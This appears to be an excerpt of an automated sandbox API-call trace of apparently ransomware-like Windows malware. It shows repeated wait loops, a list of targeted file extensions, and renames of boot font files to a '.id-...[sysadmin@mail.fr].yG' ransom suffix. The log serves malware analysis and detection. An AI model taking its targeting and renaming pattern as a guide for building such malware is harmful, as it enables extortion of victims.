	[0168.223] GetTickCount () returned 0x17431
	[0168.223] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.589] GetTickCount () returned 0x17598
	[0168.589] GetTickCount () returned 0x17598
	[0168.590] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.832] GetTickCount () returned 0x17692
	[0168.832] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0169.155] GetTickCount () returned 0x177da
	[0169.155] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0169.798] GetTickCount () returned 0x17a5b
	[0169.798] GetTickCount () returned 0x17a5b
	[0169.798] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0169.963] GetTickCount () returned 0x17af7
	[0169.963] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0170.211] GetTickCount () returned 0x17bf1
	[0170.211] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0170.438] GetTickCount () returned 0x17cdc
	[0170.438] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0170.626] GetTickCount () returned 0x17d87
	[0170.627] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.210] GetTickCount () returned 0x17fca
	[0171.210] GetTickCount () returned 0x17fca
	[0171.210] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.477] GetTickCount () returned 0x180e3
	[0171.477] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.794] GetTickCount () returned 0x1821b
	[0171.794] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.935] GetTickCount () returned 0x182a8
	[0171.935] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0172.252] GetTickCount () returned 0x183e0
	[0172.252] GetTickCount () returned 0x183e0
	[0172.252] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0172.674] GetTickCount () returned 0x18586
	[0172.674] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.072] GetTickCount () returned 0x1871d
	[0173.072] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.360] GetTickCount () returned 0x18836
	[0173.360] GetTickCount () returned 0x18836
	[0173.360] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.691] GetTickCount () returned 0x1897e
	[0173.691] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.103] GetTickCount () returned 0x18b24
	[0174.103] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.548] GetTickCount () returned 0x18ce9
	[0174.548] GetTickCount () returned 0x18ce9
	[0174.548] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.805] GetTickCount () returned 0x18de3
	[0174.805] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.929] GetTickCount () returned 0x18e60
	[0174.929] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.074] GetTickCount () returned 0x18eed
	[0175.074] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.171] GetTickCount () returned 0x18f5a
	[0175.171] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.427] GetTickCount () returned 0x19054
	[0175.427] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.827] GetTickCount () returned 0x191ea
	[0175.827] GetTickCount () returned 0x191ea
	[0175.827] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.119] GetTickCount () returned 0x19303
	[0176.119] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.385] GetTickCount () returned 0x1940d
	[0176.385] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.619] GetTickCount () returned 0x194f7
	[0176.619] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.108] GetTickCount () returned 0x196eb
	[0177.108] GetTickCount () returned 0x196eb
	[0177.108] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.296] GetTickCount () returned 0x197a7
	[0177.296] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.671] GetTickCount () returned 0x1991e
	[0177.672] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x0
	[0177.901] WaitForMultipleObjects (nCount=0x4, lpHandles=0x363ff5c*=0x2e8, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0178.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b2020 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cec0 | out: hHeap=0x4f0000) returned 1
	[0178.090] lstrlenW (lpString=".yG") returned 3
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596548 | out: hHeap=0x4f0000) returned 1
	[0178.090] lstrlenW (lpString=".[sysadmin@mail.fr]") returned 19
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5992f8 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cfb0 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54da50 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d918 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d9c0 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d9d8 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d960 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54da08 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cfa0 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54da38 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d768 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d798 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d050 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d020 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5965f0 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54cf60 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596830 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d070 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5967e8 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dae0 | out: hHeap=0x4f0000) returned 1
	[0178.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ddd8 | out: hHeap=0x4f0000) returned 1
	[0178.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509320 | out: hHeap=0x4f0000) returned 1
	[0178.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50be40 | out: hHeap=0x4f0000) returned 1
	[0178.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0178.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x597bd0 | out: hHeap=0x4f0000) returned 1
	[0178.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592320
	[0178.092] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592320, Size=0x20) returned 0x45b04d0
	[0178.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592218
	[0178.092] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592218, Size=0x20) returned 0x45b05c0
	[0178.092] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.092] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.093] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff7c | out: OldValue=0x363ff7c*=0x1) returned 1
	[0178.093] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1
	[0178.093] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b04d0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 49
	os_tid = 0xe3c

	[0134.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38d6e80
	[0134.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38e6e88
	[0134.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596c80
	[0134.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54ce00
	[0134.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596cf8
	[0134.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x41de020
	[0134.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596dd0
	[0134.093] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596dd0, Size=0x20) returned 0x52d9a0
	[0134.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d28
	[0134.093] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596d28, Size=0x20) returned 0x52dce8
	[0134.093] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0134.094] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0134.094] Wow64DisableWow64FsRedirection (in: OldValue=0x3cbff50 | out: OldValue=0x3cbff50*=0x0) returned 1
	[0134.094] lstrlenW (lpString="kernel32.dll") returned 12
	[0134.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a0 | out: hHeap=0x4f0000) returned 1
	[0134.094] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0134.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dce8 | out: hHeap=0x4f0000) returned 1
	[0134.094] Sleep (dwMilliseconds=0x64) 
	[0134.436] lstrcmpiW (lpString1=".MARKER", lpString2=".yG") returned -1
	[0134.436] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0134.436] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0134.451] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=0) returned 1
	[0134.451] CloseHandle (hObject=0x34c) returned 1
	[0134.451] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.451] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.451] lstrlenW (lpString=".doc") returned 4
	[0134.451] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0134.451] lstrlenW (lpString=".docx") returned 5
	[0134.451] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0134.451] lstrlenW (lpString=".pdf") returned 4
	[0134.451] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0134.451] lstrlenW (lpString=".xls") returned 4
	[0134.451] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0134.451] lstrlenW (lpString=".xlsx") returned 5
	[0134.451] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0134.451] lstrlenW (lpString=".ppt") returned 4
	[0134.451] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0134.451] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.451] lstrlenW (lpString=".zip") returned 4
	[0134.451] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0134.451] lstrlenW (lpString=".rar") returned 4
	[0134.452] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString=".bz2") returned 4
	[0134.452] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString=".7z") returned 3
	[0134.452] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0134.452] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.452] lstrlenW (lpString=".dbf") returned 4
	[0134.452] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.452] lstrlenW (lpString=".1cd") returned 4
	[0134.452] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.452] lstrlenW (lpString=".jpg") returned 4
	[0134.452] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.452] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.452] lstrlenW (lpString=".doc") returned 4
	[0134.452] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString=".docx") returned 5
	[0134.452] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0134.452] lstrlenW (lpString=".pdf") returned 4
	[0134.452] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString=".xls") returned 4
	[0134.452] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0134.452] lstrlenW (lpString=".xlsx") returned 5
	[0134.452] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0134.452] lstrlenW (lpString=".ppt") returned 4
	[0134.453] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.453] lstrlenW (lpString=".zip") returned 4
	[0134.453] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString=".rar") returned 4
	[0134.453] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString=".bz2") returned 4
	[0134.453] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString=".7z") returned 3
	[0134.453] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0134.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.453] lstrlenW (lpString=".dbf") returned 4
	[0134.453] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.453] lstrlenW (lpString=".1cd") returned 4
	[0134.453] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0134.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0134.453] lstrlenW (lpString=".jpg") returned 4
	[0134.453] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0134.453] Sleep (dwMilliseconds=0x64) 
	[0134.710] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.710] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0134.710] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.712] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=1985867) returned 1
	[0134.712] CloseHandle (hObject=0x314) returned 1
	[0134.712] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0134.713] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.713] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0134.713] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.713] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.713] lstrlenW (lpString=".doc") returned 4
	[0134.713] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.713] lstrlenW (lpString=".docx") returned 5
	[0134.713] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.713] lstrlenW (lpString=".pdf") returned 4
	[0134.713] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.713] lstrlenW (lpString=".xls") returned 4
	[0134.713] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.713] lstrlenW (lpString=".xlsx") returned 5
	[0134.713] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.713] lstrlenW (lpString=".ppt") returned 4
	[0134.713] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.713] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.713] lstrlenW (lpString=".zip") returned 4
	[0134.713] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.713] lstrlenW (lpString=".rar") returned 4
	[0134.713] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString=".bz2") returned 4
	[0134.714] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString=".7z") returned 3
	[0134.714] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.714] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.714] lstrlenW (lpString=".dbf") returned 4
	[0134.714] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.714] lstrlenW (lpString=".1cd") returned 4
	[0134.714] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.714] lstrlenW (lpString=".jpg") returned 4
	[0134.714] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.714] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.714] lstrlenW (lpString=".doc") returned 4
	[0134.714] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString=".docx") returned 5
	[0134.714] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.714] lstrlenW (lpString=".pdf") returned 4
	[0134.714] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.714] lstrlenW (lpString=".xls") returned 4
	[0134.714] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.714] lstrlenW (lpString=".xlsx") returned 5
	[0134.714] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.714] lstrlenW (lpString=".ppt") returned 4
	[0134.715] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.715] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.715] lstrlenW (lpString=".zip") returned 4
	[0134.715] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.715] lstrlenW (lpString=".rar") returned 4
	[0134.715] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.715] lstrlenW (lpString=".bz2") returned 4
	[0134.715] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.715] lstrlenW (lpString=".7z") returned 3
	[0134.715] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.715] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.715] lstrlenW (lpString=".dbf") returned 4
	[0134.715] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.715] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.715] lstrlenW (lpString=".1cd") returned 4
	[0134.715] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.715] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0134.715] lstrlenW (lpString=".jpg") returned 4
	[0134.715] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.715] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.715] lstrlenW (lpString="kor_boot.ttf") returned 12
	[0134.715] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.717] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=2373000) returned 1
	[0134.717] CloseHandle (hObject=0x314) returned 1
	[0134.718] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0134.718] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.718] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0134.718] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.718] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.718] lstrlenW (lpString=".doc") returned 4
	[0134.718] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.718] lstrlenW (lpString=".docx") returned 5
	[0134.718] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.718] lstrlenW (lpString=".pdf") returned 4
	[0134.718] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.718] lstrlenW (lpString=".xls") returned 4
	[0134.718] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.718] lstrlenW (lpString=".xlsx") returned 5
	[0134.718] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.718] lstrlenW (lpString=".ppt") returned 4
	[0134.718] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.718] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString=".zip") returned 4
	[0134.719] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.719] lstrlenW (lpString=".rar") returned 4
	[0134.719] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString=".bz2") returned 4
	[0134.719] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString=".7z") returned 3
	[0134.719] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.719] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString=".dbf") returned 4
	[0134.719] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString=".1cd") returned 4
	[0134.719] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString=".jpg") returned 4
	[0134.719] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.719] lstrlenW (lpString=".doc") returned 4
	[0134.719] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString=".docx") returned 5
	[0134.719] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0134.719] lstrlenW (lpString=".pdf") returned 4
	[0134.719] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0134.719] lstrlenW (lpString=".xls") returned 4
	[0134.719] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0134.719] lstrlenW (lpString=".xlsx") returned 5
	[0134.720] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0134.720] lstrlenW (lpString=".ppt") returned 4
	[0134.720] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0134.720] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.720] lstrlenW (lpString=".zip") returned 4
	[0134.720] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0134.720] lstrlenW (lpString=".rar") returned 4
	[0134.720] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0134.720] lstrlenW (lpString=".bz2") returned 4
	[0134.720] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0134.720] lstrlenW (lpString=".7z") returned 3
	[0134.720] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0134.720] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.720] lstrlenW (lpString=".dbf") returned 4
	[0134.720] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0134.720] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0134.720] lstrlenW (lpString=".1cd") returned 4
	[0134.720] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
